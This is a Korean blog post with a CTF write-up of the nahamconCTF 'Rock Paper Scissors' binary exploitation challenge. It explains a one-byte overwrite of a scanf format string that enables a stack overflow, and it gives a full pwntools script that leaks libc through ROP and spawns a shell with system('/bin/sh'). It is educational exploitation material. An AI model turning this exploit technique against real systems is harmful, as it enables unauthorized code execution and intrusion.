Pwnstar

nahamconCTF Rock Paper Scissors 본문

CTF

nahamconCTF Rock Paper Scissors

포너블처돌이 2021. 3. 15. 12:23

가위바위보 게임인데 요...문제는 쉬웠다. 그래도 라업을 작성하는 이유는 재밌어서...?

카나리가 없는게 참 다행이다.

main

__int64 __usercall main@<rax>(char **a1@<rsi>, char **a2@<rdx>, __int64 a3@<rbp>)
{
  char v3; // ST0F_1
  __int64 v5; // [rsp-8h] [rbp-8h]

  __asm { endbr64 }
  v5 = a3;
  printf_("How about a friendly game of Rock-Paper-Scissors? [y/n]: ", a1, a2);
  v3 = getchar_();
  getchar_();
  if ( v3 == 'y' )
    play_game((__int64)&v5, (__int64)a1);
  else
    puts_();
  return 0LL;
}

y를 입력하면 play_game함수를 호출한다.

play_game

__int64 __usercall play_game@<rax>(__int64 a1@<rbp>, __int64 a2@<rsi>)
{
  __int64 v2; // rdi
  __int64 result; // rax
  __int64 v4; // rdx
  int v5; // [rsp-14h] [rbp-14h]
  int v6; // [rsp-10h] [rbp-10h]
  char v7; // [rsp-9h] [rbp-9h]
  __int64 v8; // [rsp-8h] [rbp-8h]

  __asm { endbr64 }
  v8 = a1;
  v7 = 1;
  v2 = (unsigned int)time_(0LL);
  result = srand_(v2);
  while ( v7 )
  {
    v6 = (signed int)rand_() % 3 + 1;
    menu(v2, a2);
    scanf_(off_404028, &v5);
    getchar_();
    puts_();
    putchar_(10LL);
    printf_("Would you like to play again? [yes/no]: ", &v5, v4);
    read_(0LL, &unk_404010, 25LL);
    if ( (unsigned int)strcmp_("no\n", &unk_404010) )
    {
      if ( (unsigned int)strcmp_("yes\n", &unk_404010) )
      {
        puts_();
        v7 = 0;
      }
      else
      {
        v7 = 1;
      }
    }
    else
    {
      v7 = 0;
    }
    a2 = 0LL;
    v2 = (__int64)&unk_404010;
    result = memset_(&unk_404010, 0LL, 4LL);
  }
  return result;
}

보면 scanf함수에 포맷 스트링을 변수에 저장해놓고 호출한다.

0x40200B의 주소에는 "%d"가 있는데,

play_game함수에서 게임을 다시 할 거냐는 질문을 0x404010의 위치에 입력을 받는다. 그러면 0x404028의 주소를 딱 한 바이트 덮어쓸 수 있게 되는데, 이 한 바이트를 \x08로 바꾸면 포맷 스트링을 %s로 바꿀 수 있고, 문자열을 겁나 많이 입력받을 수 있음.

이제 overflow를 일으킬 조건은 충분하고 rop를 이용해서 libc 릭하고 oneshot가젯 쓰면 된다.

 

ex.py

from pwn import*
import argparse

puts = 0x401100
prdi = 0x0000000000401513
puts_g = 0x0000000000403F98
play = 0x401313
ppr = 0x0000000000401511

def exp():
    p.sendlineafter(": ", "y")


    p.sendlineafter("> ", "1")

    payload = "yes\n"
    payload += "\x00"*20
    payload += "\x08"

    p.sendafter(": ", payload)

    payload2 = "A"*0xc
    payload2 += p64(0x404010)
    payload2 += p64(prdi)
    payload2 += p64(puts_g)
    payload2 += p64(puts)
    payload2 += p64(play)

    p.sendlineafter("> ", payload2)

    p.sendlineafter(": ", "no")

    puts_got = u64(p.recv(6) + "\x00\x00")
    libc = puts_got - 0x875a0
    #libc = puts_got - 0x80aa0
    log.info(hex(libc))
    system = libc + 0x55410
    binsh = libc + 0x1b75aa
    #oneshot = libc + 0x4f432
    log.info(hex(system))
    log.info(hex(binsh))
    
    payload3 = "A"*0x14
    payload3 += p64(prdi)
    payload3 += p64(binsh)
    payload3 += p64(ppr)
    payload3 += p64(0)*2
    payload3 += p64(system)
    p.sendlineafter("> ", payload3)
    p.sendlineafter(": ", "no")

    p.interactive()

if __name__ == '__main__' :
    context.arch = 'amd64'
    #context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

    parser = argparse.ArgumentParser()
    parser.add_argument('-r', '--remote', action='store_true')
    args = parser.parse_args()

    if args.remote :
        p = remote("challenge.nahamcon.com", 30068)
    else:
        env = {'LD_PRELOAD' : "./libc-2.31.so"}
        p = process(['./rps'], env=env)
        bp = 0x401388
        bp2 = 0x401452
        script='''
        b*{}
       
        '''.format(hex(bp2))
        gdb.attach(p, script)

    exp()

 

'CTF' 카테고리의 다른 글

nahamconCTF some-really-ordinary-program  (0) 2021.03.15
nahamcon CTF Sort It!  (0) 2021.03.15
zer0ptsCTF oneshot  (0) 2021.03.08
diceCTF flippidy  (0) 2021.02.08
CSAW CTF bard's fail  (0) 2020.09.18
Comments